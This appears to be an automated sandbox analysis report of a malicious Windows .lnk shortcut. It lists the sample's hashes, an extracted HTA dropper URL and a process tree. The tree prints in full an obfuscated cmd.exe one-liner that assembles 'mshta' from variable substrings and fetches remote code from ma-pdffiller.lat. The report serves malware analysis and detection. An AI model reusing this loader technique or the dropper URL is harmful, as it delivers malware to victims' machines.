Analysis

  • max time kernel
    148s
  • max time network
    144s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 08:33

General

  • Target
    DOC-9NX1IJ.lnk
  • Size 2KB
  • Sample260804-kfw2cabk8s
  • SHA256 48ee73ac8a1c4ed2c133f5b59803c38144e387e3c5fed19be3eb9bcd0a6573bb
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-9NX1IJ.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:3164
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /d/v:on/c"set Hr=infzsxpttxinf&set rAPV=97murp&&set jOHoz=9sx&&set Azo=nhtad4&set jZwDj=syshqmosys&set GmRkY=datpwbcyryrtgcayxqulqdat&set pK=datmogykafdat&set QySZ=infiiwmrwtsgymfodinf&set Angv=n9kstac&&set pKFN=mr2ra&&set wPha=qt8n&set hWsc=infnqjpvhtrcsinf&set km=oldwsltold&set jmIz=datdgbutkzrlkbkkxllldat&set KZNL=cacheletcqtokszrldchhzcache&&set ts=https@:/@/ma-pd@f@fi@[email protected]@t/h/estag@i@[email protected]?r=39146@9@F@B5D@82D@B&&start /b !rAPV:~2,1!!jOHoz:~1,1!!Azo:~1,3! !ts:@=!"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3192
      • C:\Windows\System32\mshta.exe
        mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
        3⤵
          PID:5100

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads